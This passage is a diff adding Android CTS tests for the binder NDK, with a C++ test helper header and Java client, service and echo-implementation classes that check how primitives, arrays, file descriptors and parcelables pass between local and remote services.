+// There is an assert instances of this class are destroyed in NdkBinderTest
+struct ThisShouldBeDestroyed {
+  static size_t numInstances();
+
+  ThisShouldBeDestroyed();
+  virtual ~ThisShouldBeDestroyed();
+};
+
+struct SampleData : ThisShouldBeDestroyed {
+  static const char* kDescriptor;
+  static const AIBinder_Class* kClass;
+
+  static const char* kAnotherDescriptor;
+  static const AIBinder_Class* kAnotherClass;
+
+  SampleData(const OnTransactFunc& oT = nullptr,
+             const OnDestroyFunc& oD = nullptr)
+      : onTransact(oT), onDestroy(oD) {}
+
+  // This is called when the class is transacted on if non-null.
+  // Otherwise, STATUS_FAILED_TRANSACTION is returned.
+  OnTransactFunc onTransact;
+
+  // This is called when the class is destroyed if non-null.
+  OnDestroyFunc onDestroy;
+
+  // Automatically updated by this class whenever a transaction is received.
+  int numberTransactions = 0;
+
+  __attribute__((warn_unused_result)) static AIBinder* newBinder(
+      OnTransactFunc onTransact = nullptr, OnDestroyFunc onDestroy = nullptr) {
+    SampleData* data = new SampleData(onTransact, onDestroy);
+    return AIBinder_new(kClass, static_cast<void*>(data));
+  };
+
+  // Helper method to simplify transaction logic
+  static binder_status_t transact(AIBinder* binder, transaction_code_t code,
+                                  WriteParcel writeFunc = WriteNothingToParcel,
+                                  ReadParcel readFunc = ReadNothingFromParcel,
+                                  binder_flags_t flags = 0) {
+    AParcel* in;
+    binder_status_t status = AIBinder_prepareTransaction(binder, &in);
+    if (status != STATUS_OK) return status;
+
+    status = writeFunc(in);
+    if (status != STATUS_OK) {
+      AParcel_delete(in);
+      return status;
+    }
+
+    AParcel* out;
+    status = AIBinder_transact(binder, code, &in, &out, flags);
+    if (status != STATUS_OK) return status;
+
+    status = readFunc(out);
+    AParcel_delete(out);
+
+    return status;
+  }
+};
+
+static inline OnDestroyFunc ExpectLifetimeTransactions(size_t count) {
+  return [count](SampleData* data) {
+    EXPECT_EQ(count, data->numberTransactions)
+        << "Expected " << count
+        << " transaction(s), but over the lifetime of this object, it received "
+        << data->numberTransactions;
+  };
+}
+
+static inline OnTransactFunc TransactionsReturn(binder_status_t result) {
+  return
+      [result](transaction_code_t, const AParcel*, AParcel*) { return result; };
+}
+
+class NdkBinderTest : public ::testing::Test {
+ public:
+  void SetUp() override { instances = ThisShouldBeDestroyed::numInstances(); }
+  void TearDown() override {
+    EXPECT_EQ(instances, ThisShouldBeDestroyed::numInstances());
+  }
+
+ private:
+  size_t instances = 0;
+};
+
+JNIEnv* GetEnv();
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
new file mode 100644
index 0000000..f4ede52
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -0,0 +1,481 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import test_package.Bar;
+import test_package.Foo;
+import test_package.IEmpty;
+import test_package.ITest;
+import test_package.RegularPolygon;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Collection;
+
+@RunWith(Parameterized.class)
+public class JavaClientTest {
+    private final String TAG = "JavaClientTest";
+
+    private Class mServiceClass;
+    private ITest mInterface;
+    private String mExpectedName;
+    private boolean mShouldBeRemote;
+
+    public JavaClientTest(Class serviceClass, String expectedName, boolean shouldBeRemote) {
+        mServiceClass = serviceClass;
+        mExpectedName = expectedName;
+        mShouldBeRemote = shouldBeRemote;
+    }
+
+    @Parameterized.Parameters( name = "{0}" )
+    public static Collection<Object[]> data() {
+        // For local interfaces, this test will parcel the data locally.
+        // Whenever possible, the desired service should be accessed directly
+        // in order to avoid this additional overhead.
+        return Arrays.asList(new Object[][] {
+                {NativeService.Local.class, "CPP", false /*shouldBeRemote*/},
+                {JavaService.Local.class, "JAVA", false /*shouldBeRemote*/},
+                {NativeService.Remote.class, "CPP", true /*shouldBeRemote*/},
+                {JavaService.Remote.class, "JAVA", true /*shouldBeRemote*/},
+            });
+    }
+
+    @Before
+    public void setUp() {
+        Log.e(TAG, "Setting up");
+
+        SyncTestServiceConnection connection = new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), mServiceClass);
+
+        mInterface = connection.get();
+        assertNotEquals(null, mInterface);
+    }
+
+    @Test
+    public void testSanityCheckSource() throws RemoteException {
+        String name = mInterface.GetName();
+
+        Log.i(TAG, "Service GetName: " + name);
+        assertEquals(mExpectedName, name);
+    }
+
+    @Test
+    public void testTrivial() throws RemoteException {
+        mInterface.TestVoidReturn();
+        mInterface.TestOneway();
+    }
+
+    private void checkDump(String expected, String[] args) throws RemoteException, IOException {
+        ParcelFileDescriptor[] sockets = ParcelFileDescriptor.createReliableSocketPair();
+        ParcelFileDescriptor socketIn = sockets[0];
+        ParcelFileDescriptor socketOut = sockets[1];
+
+        mInterface.asBinder().dump(socketIn.getFileDescriptor(), args);
+        socketIn.close();
+
+        FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(socketOut);
+
+        byte[] expectedBytes = expected.getBytes();
+        byte[] input = new byte[expectedBytes.length];
+
+        assertEquals(input.length, fileInputStream.read(input));
+        Assert.assertArrayEquals(input, expectedBytes);
+    }
+
+    @Test
+    public void testDump() throws RemoteException, IOException {
+        checkDump("", new String[]{});
+        checkDump("", new String[]{"", ""});
+        checkDump("Hello World!", new String[]{"Hello ", "World!"});
+        checkDump("ABC", new String[]{"A", "B", "C"});
+    }
+
+    @Test
+    public void testCallingInfo() throws RemoteException {
+      mInterface.CacheCallingInfoFromOneway();
+
+      assertEquals(Process.myPid(), mInterface.GiveMeMyCallingPid());
+      assertEquals(Process.myUid(), mInterface.GiveMeMyCallingUid());
+
+      if (mShouldBeRemote) {
+        // PID is hidden from oneway calls
+        assertEquals(0, mInterface.GiveMeMyCallingPidFromOneway());
+      } else {
+        assertEquals(Process.myPid(), mInterface.GiveMeMyCallingPidFromOneway());
+      }
+
+      assertEquals(Process.myUid(), mInterface.GiveMeMyCallingUidFromOneway());
+    }
+
+    @Test
+    public void testRepeatPrimitives() throws RemoteException {
+        assertEquals(1, mInterface.RepeatInt(1));
+        assertEquals(2, mInterface.RepeatLong(2));
+        assertEquals(1.0f, mInterface.RepeatFloat(1.0f), 0.0f);
+        assertEquals(2.0, mInterface.RepeatDouble(2.0), 0.0);
+        assertEquals(true, mInterface.RepeatBoolean(true));
+        assertEquals('a', mInterface.RepeatChar('a'));
+        assertEquals((byte)3, mInterface.RepeatByte((byte)3));
+    }
+
+    @Test
+    public void testRepeatBinder() throws RemoteException {
+        IBinder binder = mInterface.asBinder();
+
+        assertEquals(binder, mInterface.RepeatBinder(binder));
+        assertEquals(binder, mInterface.RepeatNullableBinder(binder));
+        assertEquals(null, mInterface.RepeatNullableBinder(null));
+    }
+
+    private static class Empty extends IEmpty.Stub {
+        @Override
+        public int getInterfaceVersion() { return Empty.VERSION; }
+    }
+
+    @Test
+    public void testRepeatInterface() throws RemoteException {
+        IEmpty empty = new Empty();
+
+        assertEquals(empty, mInterface.RepeatInterface(empty));
+        assertEquals(empty, mInterface.RepeatNullableInterface(empty));
+        assertEquals(null, mInterface.RepeatNullableInterface(null));
+    }
+
+    private static interface IRepeatFd {
+        ParcelFileDescriptor repeat(ParcelFileDescriptor fd) throws RemoteException;
+    }
+
+    private void checkFdRepeated(IRepeatFd transformer) throws RemoteException, IOException {
+        ParcelFileDescriptor[] sockets = ParcelFileDescriptor.createReliableSocketPair();
+        ParcelFileDescriptor socketIn = sockets[0];
+        ParcelFileDescriptor socketOut = sockets[1];
+
+        ParcelFileDescriptor repeatFd = transformer.repeat(socketIn);
+
+        boolean isNativeRemote = mInterface.GetName().equals("CPP");
+        try {
+            socketOut.checkError();
+
+            // Either native didn't properly call detach, or native properly handles detach, and
+            // we should change the test to enforce that socket comms work.
+            assertFalse("Native doesn't implement comm fd but did not get detach.", isNativeRemote);
+        } catch (ParcelFileDescriptor.FileDescriptorDetachedException e) {
+            assertTrue("Detach, so remote should be native", isNativeRemote);
+        }
+
+        // Both backends support these.
+        socketIn.checkError();
+        repeatFd.checkError();
+
+        FileOutputStream repeatFdStream = new ParcelFileDescriptor.AutoCloseOutputStream(repeatFd);
+        String testData = "asdf";
+        byte[] output = testData.getBytes();
+        repeatFdStream.write(output);
+        repeatFdStream.close();
+
+        FileInputStream fileInputStream = new ParcelFileDescriptor.AutoCloseInputStream(socketOut);
+        byte[] input = new byte[output.length];
+
+        assertEquals(input.length, fileInputStream.read(input));
+        Assert.assertArrayEquals(input, output);
+    }
+
+    @Test
+    public void testRepeatFd() throws RemoteException, IOException {
+        checkFdRepeated((fd) -> mInterface.RepeatFd(fd));
+    }
+
+    @Test
+    public void testRepeatNullableFd() throws RemoteException, IOException {
+        checkFdRepeated((fd) -> mInterface.RepeatNullableFd(fd));
+        assertEquals(null, mInterface.RepeatNullableFd(null));
+    }
+
+    @Test
+    public void testRepeatString() throws RemoteException {
+        assertEquals("", mInterface.RepeatString(""));
+        assertEquals("a", mInterface.RepeatString("a"));
+        assertEquals("foo", mInterface.RepeatString("foo"));
+    }
+
+    @Test
+    public void testRepeatNullableString() throws RemoteException {
+        assertEquals(null, mInterface.RepeatNullableString(null));
+        assertEquals("", mInterface.RepeatNullableString(""));
+        assertEquals("a", mInterface.RepeatNullableString("a"));
+        assertEquals("foo", mInterface.RepeatNullableString("foo"));
+    }
+
+    public void assertPolygonEquals(RegularPolygon lhs, RegularPolygon rhs) {
+        assertEquals(lhs.name, rhs.name);
+        assertEquals(lhs.numSides, rhs.numSides);
+        assertEquals(lhs.sideLength, rhs.sideLength, 0.0f);
+    }
+    public void assertPolygonEquals(RegularPolygon[] lhs, RegularPolygon[] rhs) {
+        assertEquals(lhs.length, rhs.length);
+        for (int i = 0; i < lhs.length; i++) {
+            assertPolygonEquals(lhs[i], rhs[i]);
+        }
+    }
+
+    @Test
+    public void testRepeatPolygon() throws RemoteException {
+        RegularPolygon polygon = new RegularPolygon();
+        polygon.name = "hexagon";
+        polygon.numSides = 6;
+        polygon.sideLength = 1.0f;
+
+        RegularPolygon result = mInterface.RepeatPolygon(polygon);
+
+        assertPolygonEquals(polygon, result);
+    }
+
+    @Test
+    public void testInsAndOuts() throws RemoteException {
+        RegularPolygon polygon = new RegularPolygon();
+        mInterface.RenamePolygon(polygon, "Jerry");
+        assertEquals("Jerry", polygon.name);
+    }
+
+    @Test
+    public void testArrays() throws RemoteException {
+        {
+            boolean[] value = {};
+            boolean[] out1 = new boolean[value.length];
+            boolean[] out2 = mInterface.RepeatBooleanArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            boolean[] value = {false, true, false};
+            boolean[] out1 = new boolean[value.length];
+            boolean[] out2 = mInterface.RepeatBooleanArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            byte[] value = {1, 2, 3};
+            byte[] out1 = new byte[value.length];
+            byte[] out2 = mInterface.RepeatByteArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            char[] value = {'h', 'a', '!'};
+            char[] out1 = new char[value.length];
+            char[] out2 = mInterface.RepeatCharArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            int[] value = {1, 2, 3};
+            int[] out1 = new int[value.length];
+            int[] out2 = mInterface.RepeatIntArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            long[] value = {1, 2, 3};
+            long[] out1 = new long[value.length];
+            long[] out2 = mInterface.RepeatLongArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+            float[] value = {1.0f, 2.0f, 3.0f};
+            float[] out1 = new float[value.length];
+            float[] out2 = mInterface.RepeatFloatArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1, 0.0f);
+            Assert.assertArrayEquals(value, out2, 0.0f);
+        }
+        {
+            double[] value = {1.0, 2.0, 3.0};
+            double[] out1 = new double[value.length];
+            double[] out2 = mInterface.RepeatDoubleArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1, 0.0);
+            Assert.assertArrayEquals(value, out2, 0.0);
+        }
+        {
+            String[] value = {"", "aoeu", "lol", "brb"};
+            String[] out1 = new String[value.length];
+            String[] out2 = mInterface.RepeatStringArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+        {
+
+            RegularPolygon septagon = new RegularPolygon();
+            septagon.name = "septagon";
+            septagon.numSides = 7;
+            septagon.sideLength = 1.0f;
+
+            RegularPolygon[] value = {septagon, new RegularPolygon(), new RegularPolygon()};
+            RegularPolygon[] out1 = new RegularPolygon[value.length];
+            RegularPolygon[] out2 = mInterface.RepeatRegularPolygonArray(value, out1);
+
+            assertPolygonEquals(value, out1);
+            assertPolygonEquals(value, out2);
+        }
+    }
+
+    @Test
+    public void testNullableArrays() throws RemoteException {
+        {
+            boolean[] emptyValue = {};
+            boolean[] value = {false, true, false};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableBooleanArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableBooleanArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableBooleanArray(value));
+        }
+        {
+            byte[] emptyValue = {};
+            byte[] value = {1, 2, 3};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableByteArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableByteArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableByteArray(value));
+        }
+        {
+            char[] emptyValue = {};
+            char[] value = {'h', 'a', '!'};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableCharArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableCharArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableCharArray(value));
+        }
+        {
+            int[] emptyValue = {};
+            int[] value = {1, 2, 3};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableIntArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableIntArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableIntArray(value));
+        }
+        {
+            long[] emptyValue = {};
+            long[] value = {1, 2, 3};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableLongArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableLongArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableLongArray(value));
+        }
+        {
+            float[] emptyValue = {};
+            float[] value = {1.0f, 2.0f, 3.0f};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableFloatArray(null), 0.0f);
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableFloatArray(emptyValue), 0.0f);
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableFloatArray(value), 0.0f);
+        }
+        {
+            double[] emptyValue = {};
+            double[] value = {1.0, 2.0, 3.0};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableDoubleArray(null), 0.0);
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableDoubleArray(emptyValue), 0.0);
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableDoubleArray(value), 0.0);
+        }
+        {
+            String[] emptyValue = {};
+            String[] value = {"", "aoeu", null, "brb"};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableStringArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableStringArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableStringArray(value));
+        }
+        {
+            String[] emptyValue = {};
+            String[] value = {"", "aoeu", null, "brb"};
+            String[] out1 = new String[value.length];
+            String[] out2 = mInterface.DoubleRepeatNullableStringArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+    }
+
+    @Test
+    public void testGetLastItem() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        foo.f = 15;
+
+        assertEquals(foo.f, mInterface.getF(foo));
+    }
+
+    @Test
+    public void testRepeatFoo() throws RemoteException {
+        Foo foo = new Foo();
+
+        foo.a = "NEW FOO";
+        foo.b = 57;
+
+        foo.d = new Bar();
+        foo.d.b = "a";
+
+        foo.e = new Bar();
+        foo.e.d = 99;
+
+        Foo repeatedFoo = mInterface.repeatFoo(foo);
+
+        assertEquals(foo.a, repeatedFoo.a);
+        assertEquals(foo.b, repeatedFoo.b);
+        assertEquals(foo.d.b, repeatedFoo.d.b);
+        assertEquals(foo.e.d, repeatedFoo.e.d);
+    }
+
+    @Test
+    public void testRenameFoo() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        mInterface.renameFoo(foo, "MYFOO");
+        assertEquals("MYFOO", foo.a);
+    }
+    @Test
+    public void testRenameBar() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        mInterface.renameBar(foo, "MYBAR");
+        assertEquals("MYBAR", foo.d.a);
+    }
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaService.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaService.java
new file mode 100644
index 0000000..da7c404
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaService.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.app.Service;
+
+import android.content.Intent;
+
+import android.os.IBinder;
+
+import android.util.Log;
+
+public class JavaService extends Service {
+    private final String TAG = "JavaService";
+
+    // the configuration of these services is done in AndroidManifest.xml
+    public static class Local extends JavaService {}
+    public static class Remote extends JavaService {}
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "Binding service");
+        return mBinder;
+    }
+
+    private final TestImpl mBinder = new TestImpl();
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
new file mode 100644
index 0000000..30503e3
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.app.Service;
+
+import android.content.Intent;
+
+import android.os.IBinder;
+
+import android.util.Log;
+
+public class NativeService extends Service {
+    private final String TAG = "NativeService";
+    private final IBinder mBinder;
+
+    private NativeService() {
+        this("binder_ndk_test_interface_new");
+    }
+
+    private NativeService(String libName) {
+        System.loadLibrary(libName);
+        mBinder = getBinder_native();
+    }
+
+    // the configuration of these services is done in AndroidManifest.xml
+    public static class Local extends NativeService {}
+    public static class Remote extends NativeService {}
+    public static class RemoteOld extends NativeService {
+        public RemoteOld() { super("binder_ndk_test_interface_old"); }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "Binding service");
+        return mBinder;
+    }
+
+    private native IBinder getBinder_native();
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
new file mode 100644
index 0000000..5c42a17
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.os.IBinder;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+import org.junit.runner.RunWith;
+
+/**
+ * This test runs gtests for testing libbinder_ndk directly and it also runs client tests for native code.
+ */
+@RunWith(GtestRunner.class)
+@TargetLibrary("binder_ndk_test")
+public class NdkBinderTest {
+    static IBinder getLocalNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.Local.class)
+        .get().asBinder();
+    }
+    static IBinder getLocalJavaService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), JavaService.Local.class)
+        .get().asBinder();
+    }
+    static IBinder getRemoteNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.Remote.class)
+        .get().asBinder();
+    }
+    static IBinder getRemoteJavaService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), JavaService.Remote.class)
+        .get().asBinder();
+    }
+    static IBinder getRemoteOldNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.RemoteOld.class)
+        .get().asBinder();
+    }
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/SyncTestServiceConnection.java b/tests/tests/binder_ndk/src/android/binder/cts/SyncTestServiceConnection.java
new file mode 100644
index 0000000..d522c56
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/SyncTestServiceConnection.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+
+import android.os.IBinder;
+
+import android.util.Log;
+
+import test_package.ITest;
+
+/**
+ * This enables connecting to a service synchronously easily for testing purposes.
+ */
+public class SyncTestServiceConnection implements ServiceConnection {
+    private final String TAG = "SyncServiceConnection";
+
+    private Class mServiceProviderClass;
+    private Context mContext;
+
+    private ITest mInterface;
+    private boolean mInvalid = false;  // if the service has disconnected abrubtly
+
+    public SyncTestServiceConnection(Context context, Class serviceClass) {
+        mContext = context;
+        mServiceProviderClass = serviceClass;
+    }
+
+    public void onServiceConnected(ComponentName className, IBinder service) {
+        synchronized (this) {
+            mInterface = ITest.Stub.asInterface(service);
+            Log.e(TAG, "Service has connected: " + mServiceProviderClass);
+            this.notify();
+        }
+    }
+
+    public void onServiceDisconnected(ComponentName className) {
+        Log.e(TAG, "Service has disconnected: " + mServiceProviderClass);
+        synchronized (this) {
+            mInterface = null;
+            mInvalid = true;
+            this.notify();
+        }
+    }
+
+    ITest get() {
+        synchronized(this) {
+            if (!mInvalid && mInterface == null) {
+                Intent intent = new Intent(mContext, mServiceProviderClass);
+                intent.setAction(ITest.class.getName());
+                mContext.bindService(intent, this, Context.BIND_AUTO_CREATE);
+
+                try {
+                    this.wait(5000);
+                } catch (InterruptedException e) {}
+            }
+        }
+        return mInterface;
+    }
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
new file mode 100644
index 0000000..6ee8dc3
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -0,0 +1,317 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.RemoteException;
+
+import test_package.IEmpty;
+import test_package.ITest;
+import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
+
+import java.util.concurrent.CountDownLatch;
+import java.io.FileDescriptor;
+import java.io.PrintWriter;
+
+public class TestImpl extends ITest.Stub {
+  @Override
+  public int getInterfaceVersion() { return TestImpl.VERSION; }
+
+  @Override
+  protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
+    for (String arg : args) {
+      pw.print(arg);
+    }
+  }
+
+  @Override
+  public String GetName() {
+    return "JAVA";
+  }
+
+  @Override
+  public void TestVoidReturn() {}
+
+  @Override
+  public void TestOneway() {}
+
+  @Override
+  public int GiveMeMyCallingPid() {
+    return Binder.getCallingPid();
+  }
+
+  @Override
+  public int GiveMeMyCallingUid() {
+    return Binder.getCallingUid();
+  }
+
+  private CountDownLatch mCachedLatch = new CountDownLatch(1);
+  private int mCachedPid = -1;
+  private int mCachedUid = -1;
+
+  private void waitForCachedOnewayInfo() {
+    try {
+      mCachedLatch.await();
+    } catch (InterruptedException e) {
+      // This thread is never expected to be interrupted during this test. This will be
+      // converted to a RemoteException on the other side and cause the test to fail.
+
+      throw new RuntimeException(e.toString());
+    }
+  }
+
+  @Override
+  public void CacheCallingInfoFromOneway() {
+    mCachedPid = Binder.getCallingPid();
+    mCachedUid = Binder.getCallingUid();
+    mCachedLatch.countDown();
+  }
+
+  @Override
+  public int GiveMeMyCallingPidFromOneway() {
+    waitForCachedOnewayInfo();
+    return mCachedPid;
+  }
+
+  @Override
+  public int GiveMeMyCallingUidFromOneway() {
+    waitForCachedOnewayInfo();
+    return mCachedUid;
+  }
+
+  @Override
+  public int RepeatInt(int in_value) {
+    return in_value;
+  }
+
+  @Override
+  public long RepeatLong(long in_value) {
+    return in_value;
+  }
+
+  @Override
+  public float RepeatFloat(float in_value) {
+    return in_value;
+  }
+
+  @Override
+  public double RepeatDouble(double in_value) {
+    return in_value;
+  }
+
+  @Override
+  public boolean RepeatBoolean(boolean in_value) {
+    return in_value;
+  }
+
+  @Override
+  public char RepeatChar(char in_value) {
+    return in_value;
+  }
+
+  @Override
+  public byte RepeatByte(byte in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IBinder RepeatBinder(IBinder in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IBinder RepeatNullableBinder(IBinder in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IEmpty RepeatInterface(IEmpty in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IEmpty RepeatNullableInterface(IEmpty in_value) {
+    return in_value;
+  }
+
+  @Override
+  public ParcelFileDescriptor RepeatFd(ParcelFileDescriptor in_value) {
+    return in_value;
+  }
+
+  @Override
+  public ParcelFileDescriptor RepeatNullableFd(ParcelFileDescriptor in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String RepeatString(String in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String RepeatNullableString(String in_value) {
+    return in_value;
+  }
+
+  @Override
+  public RegularPolygon RepeatPolygon(RegularPolygon in_value) {
+    return in_value;
+  }
+
+  @Override
+  public void RenamePolygon(RegularPolygon value, String name) {
+    value.name = name;
+  }
+
+  @Override
+  public boolean[] RepeatBooleanArray(boolean[] in_value, boolean[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
